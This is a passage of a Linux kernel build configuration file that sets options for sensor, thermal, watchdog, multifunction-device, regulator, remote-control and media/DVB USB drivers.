CONFIG_SENSORS_POWERZ=y
# CONFIG_SENSORS_POWR1220 is not set
# CONFIG_SENSORS_PROM21_XHCI is not set
# CONFIG_SENSORS_LATTEPANDA_SIGMA_EC is not set
# CONFIG_SENSORS_LENOVO_EC is not set
# CONFIG_SENSORS_LINEAGE is not set
# CONFIG_SENSORS_LTC2945 is not set
# CONFIG_SENSORS_LTC2947_I2C is not set
# CONFIG_SENSORS_LTC2947_SPI is not set
# CONFIG_SENSORS_LTC2990 is not set
# CONFIG_SENSORS_LTC2991 is not set
# CONFIG_SENSORS_LTC2992 is not set
# CONFIG_SENSORS_LTC4151 is not set
# CONFIG_SENSORS_LTC4215 is not set
# CONFIG_SENSORS_LTC4222 is not set
# CONFIG_SENSORS_LTC4245 is not set
# CONFIG_SENSORS_LTC4260 is not set
# CONFIG_SENSORS_LTC4261 is not set
# CONFIG_SENSORS_LTC4282 is not set
# CONFIG_SENSORS_LTC4283 is not set
# CONFIG_SENSORS_MAX1111 is not set
# CONFIG_SENSORS_MAX127 is not set
# CONFIG_SENSORS_MAX16065 is not set
# CONFIG_SENSORS_MAX1619 is not set
# CONFIG_SENSORS_MAX1668 is not set
# CONFIG_SENSORS_MAX197 is not set
# CONFIG_SENSORS_MAX31722 is not set
# CONFIG_SENSORS_MAX31730 is not set
# CONFIG_SENSORS_MAX31760 is not set
# CONFIG_MAX31827 is not set
# CONFIG_SENSORS_MAX6620 is not set
# CONFIG_SENSORS_MAX6621 is not set
# CONFIG_SENSORS_MAX6639 is not set
# CONFIG_SENSORS_MAX6650 is not set
# CONFIG_SENSORS_MAX6697 is not set
# CONFIG_SENSORS_MAX31790 is not set
# CONFIG_SENSORS_MC34VR500 is not set
# CONFIG_SENSORS_MCP3021 is not set
# CONFIG_SENSORS_MCP9982 is not set
# CONFIG_SENSORS_TC654 is not set
# CONFIG_SENSORS_TPS23861 is not set
# CONFIG_SENSORS_MR75203 is not set
# CONFIG_SENSORS_ADCXX is not set
# CONFIG_SENSORS_LM63 is not set
# CONFIG_SENSORS_LM70 is not set
# CONFIG_SENSORS_LM73 is not set
# CONFIG_SENSORS_LM75 is not set
# CONFIG_SENSORS_LM77 is not set
# CONFIG_SENSORS_LM78 is not set
# CONFIG_SENSORS_LM80 is not set
# CONFIG_SENSORS_LM83 is not set
# CONFIG_SENSORS_LM85 is not set
# CONFIG_SENSORS_LM87 is not set
# CONFIG_SENSORS_LM90 is not set
# CONFIG_SENSORS_LM92 is not set
# CONFIG_SENSORS_LM93 is not set
# CONFIG_SENSORS_LM95234 is not set
# CONFIG_SENSORS_LM95241 is not set
# CONFIG_SENSORS_LM95245 is not set
# CONFIG_SENSORS_PC87360 is not set
# CONFIG_SENSORS_PC87427 is not set
# CONFIG_SENSORS_NTC_THERMISTOR is not set
# CONFIG_SENSORS_NCT6683 is not set
# CONFIG_SENSORS_NCT6775 is not set
# CONFIG_SENSORS_NCT6775_I2C is not set
# CONFIG_SENSORS_NCT7363 is not set
# CONFIG_SENSORS_NCT7802 is not set
# CONFIG_SENSORS_NCT7904 is not set
# CONFIG_SENSORS_NPCM7XX is not set
CONFIG_SENSORS_NZXT_KRAKEN2=y
# CONFIG_SENSORS_NZXT_KRAKEN3 is not set
CONFIG_SENSORS_NZXT_SMART2=y
# CONFIG_SENSORS_OCC_P8_I2C is not set
# CONFIG_SENSORS_PCF8591 is not set
# CONFIG_PMBUS is not set
# CONFIG_SENSORS_PT5161L is not set
# CONFIG_SENSORS_SHT15 is not set
# CONFIG_SENSORS_SHT21 is not set
# CONFIG_SENSORS_SHT3x is not set
# CONFIG_SENSORS_SHT4x is not set
# CONFIG_SENSORS_SHTC1 is not set
# CONFIG_SENSORS_SIS5595 is not set
# CONFIG_SENSORS_DME1737 is not set
# CONFIG_SENSORS_EMC1403 is not set
# CONFIG_SENSORS_EMC1812 is not set
# CONFIG_SENSORS_EMC2103 is not set
# CONFIG_SENSORS_EMC2305 is not set
# CONFIG_SENSORS_EMC6W201 is not set
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_SMSC47M192 is not set
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_SCH5627 is not set
# CONFIG_SENSORS_SCH5636 is not set
# CONFIG_SENSORS_STTS751 is not set
# CONFIG_SENSORS_SURFACE_FAN is not set
# CONFIG_SENSORS_SURFACE_TEMP is not set
# CONFIG_SENSORS_ADC128D818 is not set
# CONFIG_SENSORS_ADS7828 is not set
# CONFIG_SENSORS_ADS7871 is not set
# CONFIG_SENSORS_AMC6821 is not set
# CONFIG_SENSORS_INA209 is not set
# CONFIG_SENSORS_INA2XX is not set
# CONFIG_SENSORS_INA238 is not set
# CONFIG_SENSORS_INA3221 is not set
# CONFIG_SENSORS_SPD5118 is not set
# CONFIG_SENSORS_TC74 is not set
# CONFIG_SENSORS_THMC50 is not set
# CONFIG_SENSORS_TMP102 is not set
# CONFIG_SENSORS_TMP103 is not set
# CONFIG_SENSORS_TMP108 is not set
# CONFIG_SENSORS_TMP401 is not set
# CONFIG_SENSORS_TMP421 is not set
# CONFIG_SENSORS_TMP464 is not set
# CONFIG_SENSORS_TMP513 is not set
# CONFIG_SENSORS_TSC1641 is not set
# CONFIG_SENSORS_VIA_CPUTEMP is not set
# CONFIG_SENSORS_VIA686A is not set
# CONFIG_SENSORS_VT1211 is not set
# CONFIG_SENSORS_VT8231 is not set
# CONFIG_SENSORS_W83773G is not set
# CONFIG_SENSORS_W83781D is not set
# CONFIG_SENSORS_W83791D is not set
# CONFIG_SENSORS_W83792D is not set
# CONFIG_SENSORS_W83793 is not set
# CONFIG_SENSORS_W83795 is not set
# CONFIG_SENSORS_W83L785TS is not set
# CONFIG_SENSORS_W83L786NG is not set
# CONFIG_SENSORS_W83627HF is not set
# CONFIG_SENSORS_W83627EHF is not set
# CONFIG_SENSORS_XGENE is not set
# CONFIG_SENSORS_YOGAFAN is not set

#
# ACPI drivers
#
# CONFIG_SENSORS_ACPI_POWER is not set
# CONFIG_SENSORS_ATK0110 is not set
# CONFIG_SENSORS_ASUS_WMI is not set
# CONFIG_SENSORS_ASUS_EC is not set
# CONFIG_SENSORS_HP_WMI is not set
CONFIG_THERMAL=y
CONFIG_THERMAL_NETLINK=y
# CONFIG_THERMAL_STATISTICS is not set
# CONFIG_THERMAL_DEBUGFS is not set
# CONFIG_THERMAL_CORE_TESTING is not set
CONFIG_THERMAL_EMERGENCY_POWEROFF_DELAY_MS=0
CONFIG_THERMAL_HWMON=y
# CONFIG_THERMAL_OF is not set
CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y
# CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set
# CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set
# CONFIG_THERMAL_GOV_FAIR_SHARE is not set
CONFIG_THERMAL_GOV_STEP_WISE=y
# CONFIG_THERMAL_GOV_BANG_BANG is not set
# CONFIG_THERMAL_GOV_USER_SPACE is not set
# CONFIG_PCIE_THERMAL is not set
# CONFIG_THERMAL_EMULATION is not set
# CONFIG_THERMAL_MMIO is not set

#
# Intel thermal drivers
#
# CONFIG_INTEL_POWERCLAMP is not set
CONFIG_X86_THERMAL_VECTOR=y
# CONFIG_X86_PKG_TEMP_THERMAL is not set
# CONFIG_INTEL_SOC_DTS_THERMAL is not set

#
# ACPI INT340X thermal drivers
#
# CONFIG_INT340X_THERMAL is not set
# end of ACPI INT340X thermal drivers

# CONFIG_INTEL_BXT_PMIC_THERMAL is not set
# CONFIG_INTEL_PCH_THERMAL is not set
# CONFIG_INTEL_TCC_COOLING is not set
# CONFIG_INTEL_HFI_THERMAL is not set
# end of Intel thermal drivers

# CONFIG_GENERIC_ADC_THERMAL is not set
CONFIG_WATCHDOG=y
# CONFIG_WATCHDOG_CORE is not set
# CONFIG_WATCHDOG_NOWAYOUT is not set
CONFIG_WATCHDOG_HANDLE_BOOT_ENABLED=y
CONFIG_WATCHDOG_OPEN_TIMEOUT=0
# CONFIG_WATCHDOG_SYSFS is not set
# CONFIG_WATCHDOG_HRTIMER_PRETIMEOUT is not set

#
# Watchdog Pretimeout Governors
#

#
# Watchdog Device Drivers
#
# CONFIG_SOFT_WATCHDOG is not set
# CONFIG_GPIO_WATCHDOG is not set
# CONFIG_LENOVO_SE10_WDT is not set
# CONFIG_LENOVO_SE30_WDT is not set
# CONFIG_LENOVO_SE30G2_SE60_WDT is not set
# CONFIG_WDAT_WDT is not set
# CONFIG_XILINX_WATCHDOG is not set
# CONFIG_ZIIRAVE_WATCHDOG is not set
# CONFIG_CADENCE_WATCHDOG is not set
# CONFIG_DW_WATCHDOG is not set
# CONFIG_TWL4030_WATCHDOG is not set
# CONFIG_MAX63XX_WATCHDOG is not set
# CONFIG_RETU_WATCHDOG is not set
# CONFIG_ACQUIRE_WDT is not set
# CONFIG_ADVANTECH_WDT is not set
# CONFIG_ADVANTECH_EC_WDT is not set
# CONFIG_ALIM1535_WDT is not set
# CONFIG_ALIM7101_WDT is not set
# CONFIG_EBC_C384_WDT is not set
# CONFIG_EXAR_WDT is not set
# CONFIG_F71808E_WDT is not set
# CONFIG_SP5100_TCO is not set
# CONFIG_SBC_FITPC2_WATCHDOG is not set
# CONFIG_EUROTECH_WDT is not set
# CONFIG_IB700_WDT is not set
# CONFIG_IBMASR is not set
# CONFIG_WAFER_WDT is not set
# CONFIG_I6300ESB_WDT is not set
# CONFIG_IE6XX_WDT is not set
# CONFIG_INTEL_OC_WATCHDOG is not set
# CONFIG_ITCO_WDT is not set
# CONFIG_IT8712F_WDT is not set
# CONFIG_IT87_WDT is not set
# CONFIG_HP_WATCHDOG is not set
# CONFIG_SC1200_WDT is not set
# CONFIG_PC87413_WDT is not set
# CONFIG_NV_TCO is not set
# CONFIG_60XX_WDT is not set
# CONFIG_SMSC_SCH311X_WDT is not set
# CONFIG_SMSC37B787_WDT is not set
# CONFIG_TQMX86_WDT is not set
# CONFIG_VIA_WDT is not set
# CONFIG_W83627HF_WDT is not set
# CONFIG_W83877F_WDT is not set
# CONFIG_W83977F_WDT is not set
# CONFIG_SBC_EPX_C3_WATCHDOG is not set
# CONFIG_INTEL_MEI_WDT is not set
# CONFIG_NI903X_WDT is not set
# CONFIG_NIC7018_WDT is not set
# CONFIG_MEN_A21_WDT is not set

#
# PCI-based Watchdog Cards
#
# CONFIG_PCIPCWATCHDOG is not set
# CONFIG_WDTPCI is not set

#
# USB-based Watchdog Cards
#
CONFIG_USBPCWATCHDOG=y
CONFIG_SSB_POSSIBLE=y
CONFIG_SSB=y
CONFIG_SSB_PCIHOST_POSSIBLE=y
# CONFIG_SSB_PCIHOST is not set
CONFIG_SSB_PCMCIAHOST_POSSIBLE=y
# CONFIG_SSB_PCMCIAHOST is not set
CONFIG_SSB_SDIOHOST_POSSIBLE=y
# CONFIG_SSB_SDIOHOST is not set
# CONFIG_SSB_DRIVER_GPIO is not set
CONFIG_BCMA_POSSIBLE=y
CONFIG_BCMA=y
CONFIG_BCMA_HOST_PCI_POSSIBLE=y
# CONFIG_BCMA_HOST_PCI is not set
# CONFIG_BCMA_HOST_SOC is not set
# CONFIG_BCMA_DRIVER_PCI is not set
# CONFIG_BCMA_DRIVER_GMAC_CMN is not set
# CONFIG_BCMA_DRIVER_GPIO is not set
# CONFIG_BCMA_DEBUG is not set

#
# Multifunction device drivers
#
CONFIG_MFD_CORE=y
# CONFIG_MFD_ADP5585 is not set
# CONFIG_MFD_ACT8945A is not set
# CONFIG_MFD_AS3711 is not set
# CONFIG_MFD_SMPRO is not set
# CONFIG_MFD_AS3722 is not set
# CONFIG_PMIC_ADP5520 is not set
# CONFIG_MFD_AAT2870_CORE is not set
# CONFIG_MFD_ATMEL_FLEXCOM is not set
# CONFIG_MFD_ATMEL_HLCDC is not set
# CONFIG_MFD_BCM590XX is not set
# CONFIG_MFD_BD9571MWV is not set
# CONFIG_MFD_AXP20X_I2C is not set
# CONFIG_MFD_CGBC is not set
# CONFIG_MFD_CS40L50_I2C is not set
# CONFIG_MFD_CS40L50_SPI is not set
# CONFIG_MFD_CS42L43_I2C is not set
# CONFIG_MFD_CS42L43_SDW is not set
# CONFIG_MFD_LOCHNAGAR is not set
# CONFIG_MFD_MADERA is not set
# CONFIG_PMIC_DA903X is not set
# CONFIG_MFD_DA9052_SPI is not set
# CONFIG_MFD_DA9052_I2C is not set
# CONFIG_MFD_DA9055 is not set
# CONFIG_MFD_DA9062 is not set
# CONFIG_MFD_DA9063 is not set
# CONFIG_MFD_DA9150 is not set
CONFIG_MFD_DLN2=y
# CONFIG_MFD_GATEWORKS_GSC is not set
# CONFIG_MFD_MC13XXX_SPI is not set
# CONFIG_MFD_MC13XXX_I2C is not set
# CONFIG_MFD_MP2629 is not set
# CONFIG_MFD_PF1550 is not set
# CONFIG_MFD_HI6421_PMIC is not set
# CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set
CONFIG_LPC_ICH=y
# CONFIG_LPC_SCH is not set
# CONFIG_INTEL_SOC_PMIC is not set
CONFIG_INTEL_SOC_PMIC_BXTWC=y
CONFIG_INTEL_SOC_PMIC_CHTWC=y
# CONFIG_INTEL_SOC_PMIC_CHTDC_TI is not set
# CONFIG_MFD_INTEL_LPSS_ACPI is not set
# CONFIG_MFD_INTEL_LPSS_PCI is not set
CONFIG_MFD_INTEL_PMC_BXT=y
# CONFIG_MFD_IQS62X is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_MFD_KEMPLD is not set
# CONFIG_MFD_88PM800 is not set
# CONFIG_MFD_88PM805 is not set
# CONFIG_MFD_88PM860X is not set
# CONFIG_MFD_88PM886_PMIC is not set
# CONFIG_MFD_MAX5970 is not set
# CONFIG_MFD_MAX14577 is not set
# CONFIG_MFD_MAX77541 is not set
# CONFIG_MFD_MAX77620 is not set
# CONFIG_MFD_MAX77650 is not set
# CONFIG_MFD_MAX77686 is not set
# CONFIG_MFD_MAX77693 is not set
# CONFIG_MFD_MAX77705 is not set
# CONFIG_MFD_MAX77714 is not set
# CONFIG_MFD_MAX77759 is not set
# CONFIG_MFD_MAX77843 is not set
# CONFIG_MFD_MAX8907 is not set
# CONFIG_MFD_MAX8925 is not set
# CONFIG_MFD_MAX8997 is not set
# CONFIG_MFD_MAX8998 is not set
CONFIG_MFD_MT6360=y
CONFIG_MFD_MT6370=y
# CONFIG_MFD_MT6397 is not set
# CONFIG_MFD_MENF21BMC is not set
# CONFIG_MFD_NCT6694 is not set
# CONFIG_MFD_OCELOT is not set
# CONFIG_MFD_CPCAP is not set
CONFIG_MFD_VIPERBOARD=y
# CONFIG_MFD_NTXEC is not set
CONFIG_MFD_RETU=y
# CONFIG_MFD_SY7636A is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_RT4831 is not set
# CONFIG_MFD_RT5033 is not set
# CONFIG_MFD_RT5120 is not set
# CONFIG_MFD_RC5T583 is not set
# CONFIG_MFD_RK8XX_I2C is not set
# CONFIG_MFD_RK8XX_SPI is not set
# CONFIG_MFD_RN5T618 is not set
# CONFIG_MFD_SEC_I2C is not set
# CONFIG_MFD_SI476X_CORE is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_MFD_SKY81452 is not set
# CONFIG_MFD_STMPE is not set
CONFIG_MFD_SYSCON=y
# CONFIG_MFD_LP3943 is not set
# CONFIG_MFD_LP8788 is not set
# CONFIG_MFD_TI_LMU is not set
# CONFIG_MFD_BQ257XX is not set
# CONFIG_MFD_PALMAS is not set
# CONFIG_TPS6105X is not set
# CONFIG_TPS65010 is not set
# CONFIG_TPS6507X is not set
# CONFIG_MFD_TPS65086 is not set
# CONFIG_MFD_TPS65090 is not set
# CONFIG_MFD_TPS65217 is not set
# CONFIG_MFD_TI_LP873X is not set
# CONFIG_MFD_TI_LP87565 is not set
# CONFIG_MFD_TPS65218 is not set
# CONFIG_MFD_TPS65219 is not set
# CONFIG_MFD_TPS6586X is not set
# CONFIG_MFD_TPS65910 is not set
# CONFIG_MFD_TPS65912_I2C is not set
# CONFIG_MFD_TPS65912_SPI is not set
# CONFIG_MFD_TPS6594_I2C is not set
# CONFIG_MFD_TPS6594_SPI is not set
CONFIG_TWL4030_CORE=y
# CONFIG_MFD_TWL4030_AUDIO is not set
# CONFIG_TWL6040_CORE is not set
# CONFIG_MFD_LM3533 is not set
# CONFIG_MFD_TC3589X is not set
# CONFIG_MFD_TQMX86 is not set
# CONFIG_MFD_VX855 is not set
# CONFIG_MFD_ARIZONA_I2C is not set
# CONFIG_MFD_ARIZONA_SPI is not set
# CONFIG_MFD_WM8400 is not set
# CONFIG_MFD_WM831X_I2C is not set
# CONFIG_MFD_WM831X_SPI is not set
# CONFIG_MFD_WM8350_I2C is not set
# CONFIG_MFD_WM8994 is not set
# CONFIG_MFD_ROHM_BD718XX is not set
# CONFIG_MFD_ROHM_BD71828 is not set
# CONFIG_MFD_ROHM_BD957XMUF is not set
# CONFIG_MFD_ROHM_BD96801 is not set
# CONFIG_MFD_STPMIC1 is not set
# CONFIG_MFD_STMFX is not set
# CONFIG_MFD_ATC260X_I2C is not set
# CONFIG_MFD_QCOM_PM8008 is not set
# CONFIG_RAVE_SP_CORE is not set
# CONFIG_MFD_INTEL_M10_BMC_SPI is not set
# CONFIG_MFD_QNAP_MCU is not set
# CONFIG_MFD_RSMU_I2C is not set
# CONFIG_MFD_RSMU_SPI is not set
# CONFIG_MFD_UPBOARD_FPGA is not set
# CONFIG_MFD_MAX7360 is not set
# end of Multifunction device drivers

CONFIG_REGULATOR=y
# CONFIG_REGULATOR_DEBUG is not set
CONFIG_REGULATOR_FIXED_VOLTAGE=y
# CONFIG_REGULATOR_VIRTUAL_CONSUMER is not set
# CONFIG_REGULATOR_USERSPACE_CONSUMER is not set
# CONFIG_REGULATOR_NETLINK_EVENTS is not set
# CONFIG_REGULATOR_88PG86X is not set
# CONFIG_REGULATOR_ACT8865 is not set
# CONFIG_REGULATOR_AD5398 is not set
# CONFIG_REGULATOR_ADP5055 is not set
# CONFIG_REGULATOR_AW37503 is not set
# CONFIG_REGULATOR_DA9121 is not set
# CONFIG_REGULATOR_DA9210 is not set
# CONFIG_REGULATOR_DA9211 is not set
# CONFIG_REGULATOR_FAN53555 is not set
# CONFIG_REGULATOR_FAN53880 is not set
# CONFIG_REGULATOR_GPIO is not set
# CONFIG_REGULATOR_ISL9305 is not set
# CONFIG_REGULATOR_ISL6271A is not set
# CONFIG_REGULATOR_FP9931 is not set
# CONFIG_REGULATOR_LP3971 is not set
# CONFIG_REGULATOR_LP3972 is not set
# CONFIG_REGULATOR_LP872X is not set
# CONFIG_REGULATOR_LP8755 is not set
# CONFIG_REGULATOR_LTC3589 is not set
# CONFIG_REGULATOR_LTC3676 is not set
# CONFIG_REGULATOR_MAX1586 is not set
# CONFIG_REGULATOR_MAX77503 is not set
# CONFIG_REGULATOR_MAX77675 is not set
# CONFIG_REGULATOR_MAX77857 is not set
# CONFIG_REGULATOR_MAX8649 is not set
# CONFIG_REGULATOR_MAX8660 is not set
# CONFIG_REGULATOR_MAX8893 is not set
# CONFIG_REGULATOR_MAX8952 is not set
# CONFIG_REGULATOR_MAX20086 is not set
# CONFIG_REGULATOR_MAX20411 is not set
# CONFIG_REGULATOR_MAX77826 is not set
# CONFIG_REGULATOR_MAX77838 is not set
# CONFIG_REGULATOR_MCP16502 is not set
# CONFIG_REGULATOR_MP5416 is not set
# CONFIG_REGULATOR_MP8859 is not set
# CONFIG_REGULATOR_MP886X is not set
# CONFIG_REGULATOR_MPQ7920 is not set
# CONFIG_REGULATOR_MT6311 is not set
# CONFIG_REGULATOR_MT6360 is not set
# CONFIG_REGULATOR_MT6370 is not set
# CONFIG_REGULATOR_PCA9450 is not set
# CONFIG_REGULATOR_PF9453 is not set
# CONFIG_REGULATOR_PF0900 is not set
# CONFIG_REGULATOR_PF530X is not set
# CONFIG_REGULATOR_PF8X00 is not set
# CONFIG_REGULATOR_PFUZE100 is not set
# CONFIG_REGULATOR_PV88060 is not set
# CONFIG_REGULATOR_PV88080 is not set
# CONFIG_REGULATOR_PV88090 is not set
# CONFIG_REGULATOR_RAA215300 is not set
# CONFIG_REGULATOR_RT4801 is not set
# CONFIG_REGULATOR_RT4803 is not set
# CONFIG_REGULATOR_RT5133 is not set
# CONFIG_REGULATOR_RT5190A is not set
# CONFIG_REGULATOR_RT5739 is not set
# CONFIG_REGULATOR_RT5759 is not set
# CONFIG_REGULATOR_RT6160 is not set
# CONFIG_REGULATOR_RT6190 is not set
# CONFIG_REGULATOR_RT6245 is not set
# CONFIG_REGULATOR_RT8092 is not set
# CONFIG_REGULATOR_RTQ2134 is not set
# CONFIG_REGULATOR_RTMV20 is not set
# CONFIG_REGULATOR_RTQ6752 is not set
# CONFIG_REGULATOR_RTQ2208 is not set
# CONFIG_REGULATOR_SGM3804 is not set
# CONFIG_REGULATOR_SLG51000 is not set
# CONFIG_REGULATOR_SY8106A is not set
# CONFIG_REGULATOR_SY8824X is not set
# CONFIG_REGULATOR_SY8827N is not set
# CONFIG_REGULATOR_TPS51632 is not set
# CONFIG_REGULATOR_TPS62360 is not set
# CONFIG_REGULATOR_TPS6286X is not set
# CONFIG_REGULATOR_TPS6287X is not set
# CONFIG_REGULATOR_TPS65023 is not set
# CONFIG_REGULATOR_TPS6507X is not set
# CONFIG_REGULATOR_TPS65132 is not set
# CONFIG_REGULATOR_TPS65185 is not set
# CONFIG_REGULATOR_TPS6524X is not set
CONFIG_REGULATOR_TWL4030=y
# CONFIG_REGULATOR_VCTRL is not set
CONFIG_RC_CORE=y
# CONFIG_LIRC is not set
# CONFIG_RC_MAP is not set
# CONFIG_RC_DECODERS is not set
CONFIG_RC_DEVICES=y
# CONFIG_IR_ENE is not set
# CONFIG_IR_FINTEK is not set
# CONFIG_IR_GPIO_CIR is not set
# CONFIG_IR_HIX5HD2 is not set
CONFIG_IR_IGORPLUGUSB=y
CONFIG_IR_IGUANA=y
CONFIG_IR_IMON=y
CONFIG_IR_IMON_RAW=y
# CONFIG_IR_ITE_CIR is not set
CONFIG_IR_MCEUSB=y
# CONFIG_IR_NUVOTON is not set
CONFIG_IR_REDRAT3=y
# CONFIG_IR_SERIAL is not set
CONFIG_IR_STREAMZAP=y
CONFIG_IR_TOY=y
CONFIG_IR_TTUSBIR=y
# CONFIG_IR_WINBOND_CIR is not set
CONFIG_RC_ATI_REMOTE=y
# CONFIG_RC_LOOPBACK is not set
CONFIG_RC_XBOX_DVD=y
CONFIG_CEC_CORE=y

#
# CEC support
#
# CONFIG_MEDIA_CEC_RC is not set
CONFIG_MEDIA_CEC_SUPPORT=y
# CONFIG_CEC_CH7322 is not set
# CONFIG_CEC_NXP_TDA9950 is not set
# CONFIG_CEC_GPIO is not set
# CONFIG_CEC_SECO is not set
# CONFIG_USB_EXTRON_DA_HD_4K_PLUS_CEC is not set
CONFIG_USB_PULSE8_CEC=y
CONFIG_USB_RAINSHADOW_CEC=y
# end of CEC support

CONFIG_MEDIA_SUPPORT=y
CONFIG_MEDIA_SUPPORT_FILTER=y
# CONFIG_MEDIA_SUBDRV_AUTOSELECT is not set

#
# Media device types
#
CONFIG_MEDIA_CAMERA_SUPPORT=y
CONFIG_MEDIA_ANALOG_TV_SUPPORT=y
CONFIG_MEDIA_DIGITAL_TV_SUPPORT=y
CONFIG_MEDIA_RADIO_SUPPORT=y
CONFIG_MEDIA_SDR_SUPPORT=y
CONFIG_MEDIA_PLATFORM_SUPPORT=y
CONFIG_MEDIA_TEST_SUPPORT=y
# end of Media device types

CONFIG_VIDEO_DEV=y
CONFIG_MEDIA_CONTROLLER=y
CONFIG_DVB_CORE=y

#
# Video4Linux options
#
CONFIG_VIDEO_V4L2_I2C=y
CONFIG_VIDEO_V4L2_SUBDEV_API=y
# CONFIG_VIDEO_ADV_DEBUG is not set
# CONFIG_VIDEO_FIXED_MINOR_RANGES is not set
CONFIG_VIDEO_TUNER=y
CONFIG_V4L2_MEM2MEM_DEV=y
# end of Video4Linux options

#
# Media controller options
#
CONFIG_MEDIA_CONTROLLER_DVB=y
# end of Media controller options

#
# Digital TV options
#
# CONFIG_DVB_MMAP is not set
# CONFIG_DVB_NET is not set
CONFIG_DVB_MAX_ADAPTERS=16
# CONFIG_DVB_DYNAMIC_MINORS is not set
# CONFIG_DVB_DEMUX_SECTION_LOSS_LOG is not set
# CONFIG_DVB_ULE_DEBUG is not set
# end of Digital TV options

#
# Media drivers
#

#
# Drivers filtered as selected at 'Filter media drivers'
#

#
# Media drivers
#
CONFIG_MEDIA_USB_SUPPORT=y

#
# Webcam devices
#
CONFIG_USB_GSPCA=y
CONFIG_USB_GSPCA_BENQ=y
CONFIG_USB_GSPCA_CONEX=y
CONFIG_USB_GSPCA_CPIA1=y
CONFIG_USB_GSPCA_DTCS033=y
CONFIG_USB_GSPCA_ETOMS=y
CONFIG_USB_GSPCA_FINEPIX=y
CONFIG_USB_GSPCA_JEILINJ=y
CONFIG_USB_GSPCA_JL2005BCD=y
CONFIG_USB_GSPCA_KINECT=y
CONFIG_USB_GSPCA_KONICA=y
CONFIG_USB_GSPCA_MARS=y
CONFIG_USB_GSPCA_MR97310A=y
CONFIG_USB_GSPCA_NW80X=y
CONFIG_USB_GSPCA_OV519=y
CONFIG_USB_GSPCA_OV534=y
CONFIG_USB_GSPCA_OV534_9=y
CONFIG_USB_GSPCA_PAC207=y
CONFIG_USB_GSPCA_PAC7302=y
CONFIG_USB_GSPCA_PAC7311=y
CONFIG_USB_GSPCA_SE401=y
CONFIG_USB_GSPCA_SN9C2028=y
CONFIG_USB_GSPCA_SN9C20X=y
CONFIG_USB_GSPCA_SONIXB=y
CONFIG_USB_GSPCA_SONIXJ=y
CONFIG_USB_GSPCA_SPCA1528=y
CONFIG_USB_GSPCA_SPCA500=y
CONFIG_USB_GSPCA_SPCA501=y
CONFIG_USB_GSPCA_SPCA505=y
CONFIG_USB_GSPCA_SPCA506=y
CONFIG_USB_GSPCA_SPCA508=y
CONFIG_USB_GSPCA_SPCA561=y
CONFIG_USB_GSPCA_SQ905=y
CONFIG_USB_GSPCA_SQ905C=y
CONFIG_USB_GSPCA_SQ930X=y
CONFIG_USB_GSPCA_STK014=y
CONFIG_USB_GSPCA_STK1135=y
CONFIG_USB_GSPCA_STV0680=y
CONFIG_USB_GSPCA_SUNPLUS=y
CONFIG_USB_GSPCA_T613=y
CONFIG_USB_GSPCA_TOPRO=y
CONFIG_USB_GSPCA_TOUPTEK=y
CONFIG_USB_GSPCA_TV8532=y
CONFIG_USB_GSPCA_VC032X=y
CONFIG_USB_GSPCA_VICAM=y
CONFIG_USB_GSPCA_XIRLINK_CIT=y
CONFIG_USB_GSPCA_ZC3XX=y
CONFIG_USB_GL860=y
CONFIG_USB_M5602=y
CONFIG_USB_STV06XX=y
CONFIG_USB_PWC=y
# CONFIG_USB_PWC_DEBUG is not set
CONFIG_USB_PWC_INPUT_EVDEV=y
CONFIG_USB_S2255=y
CONFIG_VIDEO_USBTV=y
CONFIG_USB_VIDEO_CLASS=y
CONFIG_USB_VIDEO_CLASS_INPUT_EVDEV=y

#
# Analog TV USB devices
#
CONFIG_VIDEO_GO7007=y
CONFIG_VIDEO_GO7007_USB=y
CONFIG_VIDEO_GO7007_LOADER=y
CONFIG_VIDEO_GO7007_USB_S2250_BOARD=y
CONFIG_VIDEO_HDPVR=y
CONFIG_VIDEO_PVRUSB2=y
CONFIG_VIDEO_PVRUSB2_SYSFS=y
CONFIG_VIDEO_PVRUSB2_DVB=y
# CONFIG_VIDEO_PVRUSB2_DEBUGIFC is not set
CONFIG_VIDEO_STK1160=y

#
# Analog/digital TV USB devices
#
CONFIG_VIDEO_AU0828=y
CONFIG_VIDEO_AU0828_V4L2=y
CONFIG_VIDEO_AU0828_RC=y
CONFIG_VIDEO_CX231XX=y
CONFIG_VIDEO_CX231XX_RC=y
CONFIG_VIDEO_CX231XX_ALSA=y
CONFIG_VIDEO_CX231XX_DVB=y

#
# Digital TV USB devices
#
CONFIG_DVB_AS102=y
CONFIG_DVB_B2C2_FLEXCOP_USB=y
# CONFIG_DVB_B2C2_FLEXCOP_USB_DEBUG is not set
CONFIG_DVB_USB_V2=y
CONFIG_DVB_USB_AF9015=y
CONFIG_DVB_USB_AF9035=y
CONFIG_DVB_USB_ANYSEE=y
CONFIG_DVB_USB_AU6610=y
CONFIG_DVB_USB_AZ6007=y
CONFIG_DVB_USB_CE6230=y
CONFIG_DVB_USB_DVBSKY=y
CONFIG_DVB_USB_EC168=y
CONFIG_DVB_USB_GL861=y
CONFIG_DVB_USB_LME2510=y
CONFIG_DVB_USB_MXL111SF=y
CONFIG_DVB_USB_RTL28XXU=y
CONFIG_DVB_USB_ZD1301=y
CONFIG_DVB_USB=y
# CONFIG_DVB_USB_DEBUG is not set
CONFIG_DVB_USB_A800=y
CONFIG_DVB_USB_AF9005=y
CONFIG_DVB_USB_AF9005_REMOTE=y
CONFIG_DVB_USB_AZ6027=y
CONFIG_DVB_USB_CINERGY_T2=y
CONFIG_DVB_USB_CXUSB=y
CONFIG_DVB_USB_CXUSB_ANALOG=y
CONFIG_DVB_USB_DIB0700=y
CONFIG_DVB_USB_DIB3000MC=y
CONFIG_DVB_USB_DIBUSB_MB=y
# CONFIG_DVB_USB_DIBUSB_MB_FAULTY is not set
CONFIG_DVB_USB_DIBUSB_MC=y
CONFIG_DVB_USB_DIGITV=y
CONFIG_DVB_USB_DTT200U=y
CONFIG_DVB_USB_DTV5100=y
CONFIG_DVB_USB_DW2102=y
CONFIG_DVB_USB_GP8PSK=y
CONFIG_DVB_USB_M920X=y
CONFIG_DVB_USB_NOVA_T_USB2=y
CONFIG_DVB_USB_OPERA1=y
CONFIG_DVB_USB_PCTV452E=y
